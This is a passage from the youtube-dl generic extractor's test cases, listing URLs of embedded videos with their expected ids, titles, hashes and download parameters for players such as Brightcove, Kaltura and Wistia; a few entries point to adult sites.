                'URL could be a direct video link, returning it as such.'
            ]
        },
        # RSS feed
        {
            'url': 'http://phihag.de/2014/youtube-dl/rss2.xml',
            'info_dict': {
                'id': 'http://phihag.de/2014/youtube-dl/rss2.xml',
                'title': 'Zero Punctuation',
                'description': 're:.*groundbreaking video review series.*'
            },
            'playlist_mincount': 11,
        },
        # RSS feed with enclosure
        {
            'url': 'http://podcastfeeds.nbcnews.com/audio/podcast/MSNBC-MADDOW-NETCAST-M4V.xml',
            'info_dict': {
                'id': 'pdv_maddow_netcast_m4v-02-27-2015-201624',
                'ext': 'm4v',
                'upload_date': '20150228',
                'title': 'pdv_maddow_netcast_m4v-02-27-2015-201624',
            }
        },
        # SMIL from http://videolectures.net/promogram_igor_mekjavic_eng
        {
            'url': 'http://videolectures.net/promogram_igor_mekjavic_eng/video/1/smil.xml',
            'info_dict': {
                'id': 'smil',
                'ext': 'mp4',
                'title': 'Automatics, robotics and biocybernetics',
                'description': 'md5:815fc1deb6b3a2bff99de2d5325be482',
                'upload_date': '20130627',
                'formats': 'mincount:16',
                'subtitles': 'mincount:1',
            },
            'params': {
                'force_generic_extractor': True,
                'skip_download': True,
            },
        },
        # SMIL from http://www1.wdr.de/mediathek/video/livestream/index.html
        {
            'url': 'http://metafilegenerator.de/WDR/WDR_FS/hds/hds.smil',
            'info_dict': {
                'id': 'hds',
                'ext': 'flv',
                'title': 'hds',
                'formats': 'mincount:1',
            },
            'params': {
                'skip_download': True,
            },
        },
        # SMIL from https://www.restudy.dk/video/play/id/1637
        {
            'url': 'https://www.restudy.dk/awsmedia/SmilDirectory/video_1637.xml',
            'info_dict': {
                'id': 'video_1637',
                'ext': 'flv',
                'title': 'video_1637',
                'formats': 'mincount:3',
            },
            'params': {
                'skip_download': True,
            },
        },
        # SMIL from http://adventure.howstuffworks.com/5266-cool-jobs-iditarod-musher-video.htm
        {
            'url': 'http://services.media.howstuffworks.com/videos/450221/smil-service.smil',
            'info_dict': {
                'id': 'smil-service',
                'ext': 'flv',
                'title': 'smil-service',
                'formats': 'mincount:1',
            },
            'params': {
                'skip_download': True,
            },
        },
        # SMIL from http://new.livestream.com/CoheedandCambria/WebsterHall/videos/4719370
        {
            'url': 'http://api.new.livestream.com/accounts/1570303/events/1585861/videos/4719370.smil',
            'info_dict': {
                'id': '4719370',
                'ext': 'mp4',
                'title': '571de1fd-47bc-48db-abf9-238872a58d1f',
                'formats': 'mincount:3',
            },
            'params': {
                'skip_download': True,
            },
        },
        # XSPF playlist from http://www.telegraaf.nl/tv/nieuws/binnenland/24353229/__Tikibad_ontruimd_wegens_brand__.html
        {
            'url': 'http://www.telegraaf.nl/xml/playlist/2015/8/7/mZlp2ctYIUEB.xspf',
            'info_dict': {
                'id': 'mZlp2ctYIUEB',
                'ext': 'mp4',
                'title': 'Tikibad ontruimd wegens brand',
                'description': 'md5:05ca046ff47b931f9b04855015e163a4',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 33,
            },
            'params': {
                'skip_download': True,
            },
        },
        # MPD from http://dash-mse-test.appspot.com/media.html
        {
            'url': 'http://yt-dash-mse-test.commondatastorage.googleapis.com/media/car-20120827-manifest.mpd',
            'md5': '4b57baab2e30d6eb3a6a09f0ba57ef53',
            'info_dict': {
                'id': 'car-20120827-manifest',
                'ext': 'mp4',
                'title': 'car-20120827-manifest',
                'formats': 'mincount:9',
                'upload_date': '20130904',
            },
            'params': {
                'format': 'bestvideo',
            },
        },
        # m3u8 served with Content-Type: audio/x-mpegURL; charset=utf-8
        {
            'url': 'http://once.unicornmedia.com/now/master/playlist/bb0b18ba-64f5-4b1b-a29f-0ac252f06b68/77a785f3-5188-4806-b788-0893a61634ed/93677179-2d99-4ef4-9e17-fe70d49abfbf/content.m3u8',
            'info_dict': {
                'id': 'content',
                'ext': 'mp4',
                'title': 'content',
                'formats': 'mincount:8',
            },
            'params': {
                # m3u8 downloads
                'skip_download': True,
            }
        },
        # m3u8 served with Content-Type: text/plain
        {
            'url': 'http://www.nacentapps.com/m3u8/index.m3u8',
            'info_dict': {
                'id': 'index',
                'ext': 'mp4',
                'title': 'index',
                'upload_date': '20140720',
                'formats': 'mincount:11',
            },
            'params': {
                # m3u8 downloads
                'skip_download': True,
            }
        },
        # google redirect
        {
            'url': 'http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&ved=0CCUQtwIwAA&url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DcmQHVoWB5FY&ei=F-sNU-LLCaXk4QT52ICQBQ&usg=AFQjCNEw4hL29zgOohLXvpJ-Bdh2bils1Q&bvm=bv.61965928,d.bGE',
            'info_dict': {
                'id': 'cmQHVoWB5FY',
                'ext': 'mp4',
                'upload_date': '20130224',
                'uploader_id': 'TheVerge',
                'description': 're:^Chris Ziegler takes a look at the\.*',
                'uploader': 'The Verge',
                'title': 'First Firefox OS phones side-by-side',
            },
            'params': {
                'skip_download': False,
            }
        },
        {
            # redirect in Refresh HTTP header
            'url': 'https://www.facebook.com/l.php?u=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DpO8h3EaFRdo&h=TAQHsoToz&enc=AZN16h-b6o4Zq9pZkCCdOLNKMN96BbGMNtcFwHSaazus4JHT_MFYkAA-WARTX2kvsCIdlAIyHZjl6d33ILIJU7Jzwk_K3mcenAXoAzBNoZDI_Q7EXGDJnIhrGkLXo_LJ_pAa2Jzbx17UHMd3jAs--6j2zaeto5w9RTn8T_1kKg3fdC5WPX9Dbb18vzH7YFX0eSJmoa6SP114rvlkw6pkS1-T&s=1',
            'info_dict': {
                'id': 'pO8h3EaFRdo',
                'ext': 'mp4',
                'title': 'Tripeo Boiler Room x Dekmantel Festival DJ Set',
                'description': 'md5:6294cc1af09c4049e0652b51a2df10d5',
                'upload_date': '20150917',
                'uploader_id': 'brtvofficial',
                'uploader': 'Boiler Room',
            },
            'params': {
                'skip_download': False,
            },
        },
        {
            'url': 'http://www.hodiho.fr/2013/02/regis-plante-sa-jeep.html',
            'md5': '85b90ccc9d73b4acd9138d3af4c27f89',
            'info_dict': {
                'id': '13601338388002',
                'ext': 'mp4',
                'uploader': 'www.hodiho.fr',
                'title': 'R\u00e9gis plante sa Jeep',
            }
        },
        # bandcamp page with custom domain
        {
            'add_ie': ['Bandcamp'],
            'url': 'http://bronyrock.com/track/the-pony-mash',
            'info_dict': {
                'id': '3235767654',
                'ext': 'mp3',
                'title': 'The Pony Mash',
                'uploader': 'M_Pallante',
            },
            'skip': 'There is a limit of 200 free downloads / month for the test song',
        },
        # embedded brightcove video
        # it also tests brightcove videos that need to set the 'Referer' in the
        # http requests
        {
            'add_ie': ['BrightcoveLegacy'],
            'url': 'http://www.bfmtv.com/video/bfmbusiness/cours-bourse/cours-bourse-l-analyse-technique-154522/',
            'info_dict': {
                'id': '2765128793001',
                'ext': 'mp4',
                'title': 'Le cours de bourse : l’analyse technique',
                'description': 'md5:7e9ad046e968cb2d1114004aba466fd9',
                'uploader': 'BFM BUSINESS',
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            # https://github.com/rg3/youtube-dl/issues/2253
            'url': 'http://bcove.me/i6nfkrc3',
            'md5': '0ba9446db037002366bab3b3eb30c88c',
            'info_dict': {
                'id': '3101154703001',
                'ext': 'mp4',
                'title': 'Still no power',
                'uploader': 'thestar.com',
                'description': 'Mississauga resident David Farmer is still out of power as a result of the ice storm a month ago. To keep the house warm, Farmer cuts wood from his property for a wood burning stove downstairs.',
            },
            'add_ie': ['BrightcoveLegacy'],
        },
        {
            'url': 'http://www.championat.com/video/football/v/87/87499.html',
            'md5': 'fb973ecf6e4a78a67453647444222983',
            'info_dict': {
                'id': '3414141473001',
                'ext': 'mp4',
                'title': 'Видео. Удаление Дзагоева (ЦСКА)',
                'description': 'Онлайн-трансляция матча ЦСКА - "Волга"',
                'uploader': 'Championat',
            },
        },
        {
            # https://github.com/rg3/youtube-dl/issues/3541
            'add_ie': ['BrightcoveLegacy'],
            'url': 'http://www.kijk.nl/sbs6/leermijvrouwenkennen/videos/jqMiXKAYan2S/aflevering-1',
            'info_dict': {
                'id': '3866516442001',
                'ext': 'mp4',
                'title': 'Leer mij vrouwen kennen: Aflevering 1',
                'description': 'Leer mij vrouwen kennen: Aflevering 1',
                'uploader': 'SBS Broadcasting',
            },
            'skip': 'Restricted to Netherlands',
            'params': {
                'skip_download': True,  # m3u8 download
            },
        },
        # ooyala video
        {
            'url': 'http://www.rollingstone.com/music/videos/norwegian-dj-cashmere-cat-goes-spartan-on-with-me-premiere-20131219',
            'md5': '166dd577b433b4d4ebfee10b0824d8ff',
            'info_dict': {
                'id': 'BwY2RxaTrTkslxOfcan0UCf0YqyvWysJ',
                'ext': 'mp4',
                'title': '2cc213299525360.mov',  # that's what we get
                'duration': 238.231,
            },
            'add_ie': ['Ooyala'],
        },
        {
            # ooyala video embedded with http://player.ooyala.com/iframe.js
            'url': 'http://www.macrumors.com/2015/07/24/steve-jobs-the-man-in-the-machine-first-trailer/',
            'info_dict': {
                'id': 'p0MGJndjoG5SOKqO_hZJuZFPB-Tr5VgB',
                'ext': 'mp4',
                'title': '"Steve Jobs: Man in the Machine" trailer',
                'description': 'The first trailer for the Alex Gibney documentary "Steve Jobs: Man in the Machine."',
                'duration': 135.427,
            },
            'params': {
                'skip_download': True,
            },
        },
        # embed.ly video
        {
            'url': 'http://www.tested.com/science/weird/460206-tested-grinding-coffee-2000-frames-second/',
            'info_dict': {
                'id': '9ODmcdjQcHQ',
                'ext': 'mp4',
                'title': 'Tested: Grinding Coffee at 2000 Frames Per Second',
                'upload_date': '20140225',
                'description': 'md5:06a40fbf30b220468f1e0957c0f558ff',
                'uploader': 'Tested',
                'uploader_id': 'testedcom',
            },
            # No need to test YoutubeIE here
            'params': {
                'skip_download': True,
            },
        },
        # funnyordie embed
        {
            'url': 'http://www.theguardian.com/world/2014/mar/11/obama-zach-galifianakis-between-two-ferns',
            'info_dict': {
                'id': '18e820ec3f',
                'ext': 'mp4',
                'title': 'Between Two Ferns with Zach Galifianakis: President Barack Obama',
                'description': 'Episode 18: President Barack Obama sits down with Zach Galifianakis for his most memorable interview yet.',
            },
        },
        # RUTV embed
        {
            'url': 'http://www.rg.ru/2014/03/15/reg-dfo/anklav-anons.html',
            'info_dict': {
                'id': '776940',
                'ext': 'mp4',
                'title': 'Охотское море стало целиком российским',
                'description': 'md5:5ed62483b14663e2a95ebbe115eb8f43',
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        # TVC embed
        {
            'url': 'http://sch1298sz.mskobr.ru/dou_edu/karamel_ki/filial_galleries/video/iframe_src_http_tvc_ru_video_iframe_id_55304_isplay_false_acc_video_id_channel_brand_id_11_show_episodes_episode_id_32307_frameb/',
            'info_dict': {
                'id': '55304',
                'ext': 'mp4',
                'title': 'Дошкольное воспитание',
            },
        },
        # SportBox embed
        {
            'url': 'http://www.vestifinance.ru/articles/25753',
            'info_dict': {
                'id': '25753',
                'title': 'Прямые трансляции с Форума-выставки "Госзаказ-2013"',
            },
            'playlist': [{
                'info_dict': {
                    'id': '370908',
                    'title': 'Госзаказ. День 3',
                    'ext': 'mp4',
                }
            }, {
                'info_dict': {
                    'id': '370905',
                    'title': 'Госзаказ. День 2',
                    'ext': 'mp4',
                }
            }, {
                'info_dict': {
                    'id': '370902',
                    'title': 'Госзаказ. День 1',
                    'ext': 'mp4',
                }
            }],
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        # Myvi.ru embed
        {
            'url': 'http://www.kinomyvi.tv/news/detail/Pervij-dublirovannij-trejler--Uzhastikov-_nOw1',
            'info_dict': {
                'id': 'f4dafcad-ff21-423d-89b5-146cfd89fa1e',
                'ext': 'mp4',
                'title': 'Ужастики, русский трейлер (2015)',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 153,
            }
        },
        # XHamster embed
        {
            'url': 'http://www.numisc.com/forum/showthread.php?11696-FM15-which-pumiscer-was-this-%28-vid-%29-%28-alfa-as-fuck-srx-%29&s=711f5db534502e22260dec8c5e2d66d8',
            'info_dict': {
                'id': 'showthread',
                'title': '[NSFL] [FM15] which pumiscer was this ( vid ) ( alfa as fuck srx )',
            },
            'playlist_mincount': 7,
        },
        # Embedded TED video
        {
            'url': 'http://en.support.wordpress.com/videos/ted-talks/',
            'md5': '65fdff94098e4a607385a60c5177c638',
            'info_dict': {
                'id': '1969',
                'ext': 'mp4',
                'title': 'Hidden miracles of the natural world',
                'uploader': 'Louie Schwartzberg',
                'description': 'md5:8145d19d320ff3e52f28401f4c4283b9',
            }
        },
        # Embedded Ustream video
        {
            'url': 'http://www.american.edu/spa/pti/nsa-privacy-janus-2014.cfm',
            'md5': '27b99cdb639c9b12a79bca876a073417',
            'info_dict': {
                'id': '45734260',
                'ext': 'flv',
                'uploader': 'AU SPA:  The NSA and Privacy',
                'title': 'NSA and Privacy Forum Debate featuring General Hayden and Barton Gellman'
            }
        },
        # nowvideo embed hidden behind percent encoding
        {
            'url': 'http://www.waoanime.tv/the-super-dimension-fortress-macross-episode-1/',
            'md5': '2baf4ddd70f697d94b1c18cf796d5107',
            'info_dict': {
                'id': '06e53103ca9aa',
                'ext': 'flv',
                'title': 'Macross Episode 001  Watch Macross Episode 001 onl',
                'description': 'No description',
            },
        },
        # arte embed
        {
            'url': 'http://www.tv-replay.fr/redirection/20-03-14/x-enius-arte-10753389.html',
            'md5': '7653032cbb25bf6c80d80f217055fa43',
            'info_dict': {
                'id': '048195-004_PLUS7-F',
                'ext': 'flv',
                'title': 'X:enius',
                'description': 'md5:d5fdf32ef6613cdbfd516ae658abf168',
                'upload_date': '20140320',
            },
            'params': {
                'skip_download': 'Requires rtmpdump'
            }
        },
        # francetv embed
        {
            'url': 'http://www.tsprod.com/replay-du-concert-alcaline-de-calogero',
            'info_dict': {
                'id': 'EV_30231',
                'ext': 'mp4',
                'title': 'Alcaline, le concert avec Calogero',
                'description': 'md5:61f08036dcc8f47e9cfc33aed08ffaff',
                'upload_date': '20150226',
                'timestamp': 1424989860,
                'duration': 5400,
            },
            'params': {
                # m3u8 downloads
                'skip_download': True,
            },
            'expected_warnings': [
                'Forbidden'
            ]
        },
        # Condé Nast embed
        {
            'url': 'http://www.wired.com/2014/04/honda-asimo/',
            'md5': 'ba0dfe966fa007657bd1443ee672db0f',
            'info_dict': {
                'id': '53501be369702d3275860000',
                'ext': 'mp4',
                'title': 'Honda’s  New Asimo Robot Is More Human Than Ever',
            }
        },
        # Dailymotion embed
        {
            'url': 'http://www.spi0n.com/zap-spi0n-com-n216/',
            'md5': '441aeeb82eb72c422c7f14ec533999cd',
            'info_dict': {
                'id': 'k2mm4bCdJ6CQ2i7c8o2',
                'ext': 'mp4',
                'title': 'Le Zap de Spi0n n°216 - Zapping du Web',
                'description': 'md5:faf028e48a461b8b7fad38f1e104b119',
                'uploader': 'Spi0n',
                'uploader_id': 'xgditw',
                'upload_date': '20140425',
                'timestamp': 1398441542,
            },
            'add_ie': ['Dailymotion'],
        },
        # YouTube embed
        {
            'url': 'http://www.badzine.de/ansicht/datum/2014/06/09/so-funktioniert-die-neue-englische-badminton-liga.html',
            'info_dict': {
                'id': 'FXRb4ykk4S0',
                'ext': 'mp4',
                'title': 'The NBL Auction 2014',
                'uploader': 'BADMINTON England',
                'uploader_id': 'BADMINTONEvents',
                'upload_date': '20140603',
                'description': 'md5:9ef128a69f1e262a700ed83edb163a73',
            },
            'add_ie': ['Youtube'],
            'params': {
                'skip_download': True,
            }
        },
        # MTVSercices embed
        {
            'url': 'http://www.vulture.com/2016/06/new-key-peele-sketches-released.html',
            'md5': 'ca1aef97695ef2c1d6973256a57e5252',
            'info_dict': {
                'id': '769f7ec0-0692-4d62-9b45-0d88074bffc1',
                'ext': 'mp4',
                'title': 'Key and Peele|October 10, 2012|2|203|Liam Neesons - Uncensored',
                'description': 'Two valets share their love for movie star Liam Neesons.',
                'timestamp': 1349922600,
                'upload_date': '20121011',
            },
        },
        # YouTube embed via <data-embed-url="">
        {
            'url': 'https://play.google.com/store/apps/details?id=com.gameloft.android.ANMP.GloftA8HM',
            'info_dict': {
                'id': '4vAffPZIT44',
                'ext': 'mp4',
                'title': 'Asphalt 8: Airborne - Update - Welcome to Dubai!',
                'uploader': 'Gameloft',
                'uploader_id': 'gameloft',
                'upload_date': '20140828',
                'description': 'md5:c80da9ed3d83ae6d1876c834de03e1c4',
            },
            'params': {
                'skip_download': True,
            }
        },
        # Camtasia studio
        {
            'url': 'http://www.ll.mit.edu/workshops/education/videocourses/antennas/lecture1/video/',
            'playlist': [{
                'md5': '0c5e352edabf715d762b0ad4e6d9ee67',
                'info_dict': {
                    'id': 'Fenn-AA_PA_Radar_Course_Lecture_1c_Final',
                    'title': 'Fenn-AA_PA_Radar_Course_Lecture_1c_Final - video1',
                    'ext': 'flv',
                    'duration': 2235.90,
                }
            }, {
                'md5': '10e4bb3aaca9fd630e273ff92d9f3c63',
                'info_dict': {
                    'id': 'Fenn-AA_PA_Radar_Course_Lecture_1c_Final_PIP',
                    'title': 'Fenn-AA_PA_Radar_Course_Lecture_1c_Final - pip',
                    'ext': 'flv',
                    'duration': 2235.93,
                }
            }],
            'info_dict': {
                'title': 'Fenn-AA_PA_Radar_Course_Lecture_1c_Final',
            }
        },
        # Flowplayer
        {
            'url': 'http://www.handjobhub.com/video/busty-blonde-siri-tit-fuck-while-wank-6313.html',
            'md5': '9d65602bf31c6e20014319c7d07fba27',
            'info_dict': {
                'id': '5123ea6d5e5a7',
                'ext': 'mp4',
                'age_limit': 18,
                'uploader': 'www.handjobhub.com',
                'title': 'Busty Blonde Siri Tit Fuck While Wank at HandjobHub.com',
            }
        },
        # Multiple brightcove videos
        # https://github.com/rg3/youtube-dl/issues/2283
        {
            'url': 'http://www.newyorker.com/online/blogs/newsdesk/2014/01/always-never-nuclear-command-and-control.html',
            'info_dict': {
                'id': 'always-never',
                'title': 'Always / Never - The New Yorker',
            },
            'playlist_count': 3,
            'params': {
                'extract_flat': False,
                'skip_download': True,
            }
        },
        # MLB embed
        {
            'url': 'http://umpire-empire.com/index.php/topic/58125-laz-decides-no-thats-low/',
            'md5': '96f09a37e44da40dd083e12d9a683327',
            'info_dict': {
                'id': '33322633',
                'ext': 'mp4',
                'title': 'Ump changes call to ball',
                'description': 'md5:71c11215384298a172a6dcb4c2e20685',
                'duration': 48,
                'timestamp': 1401537900,
                'upload_date': '20140531',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        # Wistia embed
        {
            'url': 'http://study.com/academy/lesson/north-american-exploration-failed-colonies-of-spain-france-england.html#lesson',
            'md5': '1953f3a698ab51cfc948ed3992a0b7ff',
            'info_dict': {
                'id': '6e2wtrbdaf',
                'ext': 'mov',
                'title': 'paywall_north-american-exploration-failed-colonies-of-spain-france-england',
                'description': 'a Paywall Videos video from Remilon',
                'duration': 644.072,
                'uploader': 'study.com',
                'timestamp': 1459678540,
                'upload_date': '20160403',
                'filesize': 24687186,
            },
        },
        {
            'url': 'http://thoughtworks.wistia.com/medias/uxjb0lwrcz',
            'md5': 'baf49c2baa8a7de5f3fc145a8506dcd4',
            'info_dict': {
                'id': 'uxjb0lwrcz',
                'ext': 'mp4',
                'title': 'Conversation about Hexagonal Rails Part 1',
                'description': 'a Martin Fowler video from ThoughtWorks',
                'duration': 1715.0,
                'uploader': 'thoughtworks.wistia.com',
                'timestamp': 1401832161,
                'upload_date': '20140603',
            },
        },
        # Wistia standard embed (async)
        {
            'url': 'https://www.getdrip.com/university/brennan-dunn-drip-workshop/',
            'info_dict': {
                'id': '807fafadvk',
                'ext': 'mp4',
                'title': 'Drip Brennan Dunn Workshop',
                'description': 'a JV Webinars video from getdrip-1',
                'duration': 4986.95,
                'timestamp': 1463607249,
                'upload_date': '20160518',
            },
            'params': {
                'skip_download': True,
            }
        },
        # Soundcloud embed
        {
            'url': 'http://nakedsecurity.sophos.com/2014/10/29/sscc-171-are-you-sure-that-1234-is-a-bad-password-podcast/',
            'info_dict': {
                'id': '174391317',
                'ext': 'mp3',
                'description': 'md5:ff867d6b555488ad3c52572bb33d432c',
                'uploader': 'Sophos Security',
                'title': 'Chet Chat 171 - Oct 29, 2014',
                'upload_date': '20141029',
            }
        },
        # Soundcloud multiple embeds
        {
            'url': 'http://www.guitarplayer.com/lessons/1014/legato-workout-one-hour-to-more-fluid-performance---tab/52809',
            'info_dict': {
                'id': '52809',
                'title': 'Guitar Essentials: Legato Workout—One-Hour to Fluid Performance  | TAB + AUDIO',
            },
            'playlist_mincount': 7,
        },
        # Livestream embed
        {
            'url': 'http://www.esa.int/Our_Activities/Space_Science/Rosetta/Philae_comet_touch-down_webcast',
            'info_dict': {
                'id': '67864563',
                'ext': 'flv',
                'upload_date': '20141112',
                'title': 'Rosetta #CometLanding webcast HL 10',
            }
        },
        # Another Livestream embed, without 'new.' in URL
        {
            'url': 'https://www.freespeech.org/',
            'info_dict': {
                'id': '123537347',
                'ext': 'mp4',
                'title': 're:^FSTV [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            },
            'params': {
                # Live stream
                'skip_download': True,
            },
        },
        # LazyYT
        {
            'url': 'http://discourse.ubuntu.com/t/unity-8-desktop-mode-windows-on-mir/1986',
            'info_dict': {
                'id': '1986',
                'title': 'Unity 8 desktop-mode windows on Mir! - Ubuntu Discourse',
            },
            'playlist_mincount': 2,
        },
        # Cinchcast embed
        {
            'url': 'http://undergroundwellness.com/podcasts/306-5-steps-to-permanent-gut-healing/',
            'info_dict': {
                'id': '7141703',
                'ext': 'mp3',
                'upload_date': '20141126',
                'title': 'Jack Tips: 5 Steps to Permanent Gut Healing',
            }
        },
        # Cinerama player
        {
            'url': 'http://www.abc.net.au/7.30/content/2015/s4164797.htm',
            'info_dict': {
                'id': '730m_DandD_1901_512k',
                'ext': 'mp4',
                'uploader': 'www.abc.net.au',
                'title': 'Game of Thrones with dice - Dungeons and Dragons fantasy role-playing game gets new life - 19/01/2015',
            }
        },
        # embedded viddler video
        {
            'url': 'http://deadspin.com/i-cant-stop-watching-john-wall-chop-the-nuggets-with-th-1681801597',
            'info_dict': {
                'id': '4d03aad9',
                'ext': 'mp4',
                'uploader': 'deadspin',
                'title': 'WALL-TO-GORTAT',
                'timestamp': 1422285291,
                'upload_date': '20150126',
            },
            'add_ie': ['Viddler'],
        },
        # Libsyn embed
        {
            'url': 'http://thedailyshow.cc.com/podcast/episodetwelve',
            'info_dict': {
                'id': '3377616',
                'ext': 'mp3',
                'title': "The Daily Show Podcast without Jon Stewart - Episode 12: Bassem Youssef: Egypt's Jon Stewart",
                'description': 'md5:601cb790edd05908957dae8aaa866465',
                'upload_date': '20150220',
            },
            'skip': 'All The Daily Show URLs now redirect to http://www.cc.com/shows/',
        },
        # jwplayer YouTube
        {
            'url': 'http://media.nationalarchives.gov.uk/index.php/webinar-using-discovery-national-archives-online-catalogue/',
            'info_dict': {
                'id': 'Mrj4DVp2zeA',
                'ext': 'mp4',
                'upload_date': '20150212',
                'uploader': 'The National Archives UK',
                'description': 'md5:a236581cd2449dd2df4f93412f3f01c6',
                'uploader_id': 'NationalArchives08',
                'title': 'Webinar: Using Discovery, The National Archives’ online catalogue',
            },
        },
        # rtl.nl embed
        {
            'url': 'http://www.rtlnieuws.nl/nieuws/buitenland/aanslagen-kopenhagen',
            'playlist_mincount': 5,
            'info_dict': {
                'id': 'aanslagen-kopenhagen',
                'title': 'Aanslagen Kopenhagen | RTL Nieuws',
            }
        },
        # Zapiks embed
        {
            'url': 'http://www.skipass.com/news/116090-bon-appetit-s5ep3-baqueira-mi-cor.html',
            'info_dict': {
                'id': '118046',
                'ext': 'mp4',
                'title': 'EP3S5 - Bon Appétit - Baqueira Mi Corazon !',
            }
        },
        # Kaltura embed (different embed code)
        {
            'url': 'http://www.premierchristianradio.com/Shows/Saturday/Unbelievable/Conference-Videos/Os-Guinness-Is-It-Fools-Talk-Unbelievable-Conference-2014',
            'info_dict': {
                'id': '1_a52wc67y',
                'ext': 'flv',
                'upload_date': '20150127',
                'uploader_id': 'PremierMedia',
                'timestamp': int,
                'title': 'Os Guinness // Is It Fools Talk? // Unbelievable? Conference 2014',
            },
        },
        # Kaltura embed protected with referrer
        {
            'url': 'http://www.disney.nl/disney-channel/filmpjes/achter-de-schermen#/videoId/violetta-achter-de-schermen-ruggero',
            'info_dict': {
                'id': '1_g4fbemnq',
                'ext': 'mp4',
                'title': 'Violetta - Achter De Schermen - Ruggero',
                'description': 'Achter de schermen met Ruggero',
                'timestamp': 1435133761,
                'upload_date': '20150624',
                'uploader_id': 'echojecka',
            },
        },
        # Kaltura embed with single quotes
        {
            'url': 'http://fod.infobase.com/p_ViewPlaylist.aspx?AssignmentID=NUN8ZY',
            'info_dict': {
                'id': '0_izeg5utt',
                'ext': 'mp4',
                'title': '35871',
                'timestamp': 1355743100,
                'upload_date': '20121217',
                'uploader_id': 'batchUser',
            },
            'add_ie': ['Kaltura'],
        },
        {
            # Kaltura embedded via quoted entry_id
            'url': 'https://www.oreilly.com/ideas/my-cloud-makes-pretty-pictures',
            'info_dict': {
                'id': '0_utuok90b',
                'ext': 'mp4',
                'title': '06_matthew_brender_raj_dutt',
                'timestamp': 1466638791,
                'upload_date': '20160622',
            },
            'add_ie': ['Kaltura'],
            'expected_warnings': [
                'Could not send HEAD request'
            ],
            'params': {
                'skip_download': True,
            }
        },
        # Eagle.Platform embed (generic URL)
        {
            'url': 'http://lenta.ru/news/2015/03/06/navalny/',
            # Not checking MD5 as sometimes the direct HTTP link results in 404 and HLS is used
            'info_dict': {
                'id': '227304',
                'ext': 'mp4',
                'title': 'Навальный вышел на свободу',
                'description': 'md5:d97861ac9ae77377f3f20eaf9d04b4f5',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 87,
                'view_count': int,
                'age_limit': 0,
            },
        },
        # ClipYou (Eagle.Platform) embed (custom URL)
        {
            'url': 'http://muz-tv.ru/play/7129/',
            # Not checking MD5 as sometimes the direct HTTP link results in 404 and HLS is used
            'info_dict': {
                'id': '12820',
                'ext': 'mp4',
                'title': "'O Sole Mio",
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 216,
                'view_count': int,
            },
        },
        # Pladform embed
        {
            'url': 'http://muz-tv.ru/kinozal/view/7400/',
            'info_dict': {
                'id': '100183293',
                'ext': 'mp4',
                'title': 'Тайны перевала Дятлова • 1 серия 2 часть',
                'description': 'Документальный сериал-расследование одной из самых жутких тайн ХХ века',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 694,
                'age_limit': 0,
            },
        },
        # Playwire embed
        {
            'url': 'http://www.cinemablend.com/new/First-Joe-Dirt-2-Trailer-Teaser-Stupid-Greatness-70874.html',
            'info_dict': {
                'id': '3519514',
                'ext': 'mp4',
                'title': 'Joe Dirt 2 Beautiful Loser Teaser Trailer',
                'thumbnail': 're:^https?://.*\.png$',
                'duration': 45.115,
            },
        },
        # 5min embed
        {
            'url': 'http://techcrunch.com/video/facebook-creates-on-this-day-crunch-report/518726732/',
            'md5': '4c6f127a30736b59b3e2c19234ee2bf7',
            'info_dict': {
                'id': '518726732',
                'ext': 'mp4',
                'title': 'Facebook Creates "On This Day" | Crunch Report',
            },
        },
        # SVT embed
        {
            'url': 'http://www.svt.se/sport/ishockey/jagr-tacklar-giroux-under-intervjun',
            'info_dict': {
                'id': '2900353',
                'ext': 'flv',
                'title': 'Här trycker Jagr till Giroux (under SVT-intervjun)',
                'duration': 27,
                'age_limit': 0,
            },
        },
        # Crooks and Liars embed
        {
            'url': 'http://crooksandliars.com/2015/04/fox-friends-says-protecting-atheists',
            'info_dict': {
                'id': '8RUoRhRi',
                'ext': 'mp4',
                'title': "Fox & Friends Says Protecting Atheists From Discrimination Is Anti-Christian!",
                'description': 'md5:e1a46ad1650e3a5ec7196d432799127f',
                'timestamp': 1428207000,
                'upload_date': '20150405',
                'uploader': 'Heather',
            },
        },
        # Crooks and Liars external embed
        {
            'url': 'http://theothermccain.com/2010/02/02/video-proves-that-bill-kristol-has-been-watching-glenn-beck/comment-page-1/',
            'info_dict': {
                'id': 'MTE3MjUtMzQ2MzA',
                'ext': 'mp4',
                'title': 'md5:5e3662a81a4014d24c250d76d41a08d5',
                'description': 'md5:9b8e9542d6c3c5de42d6451b7d780cec',
                'timestamp': 1265032391,
                'upload_date': '20100201',
                'uploader': 'Heather',
            },
        },
        # NBC Sports vplayer embed
        {
            'url': 'http://www.riderfans.com/forum/showthread.php?121827-Freeman&s=e98fa1ea6dc08e886b1678d35212494a',
            'info_dict': {
                'id': 'ln7x1qSThw4k',
                'ext': 'flv',
                'title': "PFT Live: New leader in the 'new-look' defense",
                'description': 'md5:65a19b4bbfb3b0c0c5768bed1dfad74e',
                'uploader': 'NBCU-SPORTS',
                'upload_date': '20140107',
                'timestamp': 1389118457,
            },
        },
        # NBC News embed
        {
            'url': 'http://www.vulture.com/2016/06/letterman-couldnt-care-less-about-late-night.html',
            'md5': '1aa589c675898ae6d37a17913cf68d66',
            'info_dict': {
                'id': '701714499682',
                'ext': 'mp4',
                'title': 'PREVIEW: On Assignment: David Letterman',
                'description': 'A preview of Tom Brokaw\'s interview with David Letterman as part of the On Assignment series powered by Dateline. Airs Sunday June 12 at 7/6c.',
            },
        },
        # UDN embed
        {
            'url': 'https://video.udn.com/news/300346',
            'md5': 'fd2060e988c326991037b9aff9df21a6',
            'info_dict': {
                'id': '300346',
                'ext': 'mp4',
                'title': '中一中男師變性 全校師生力挺',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        # Ooyala embed
        {
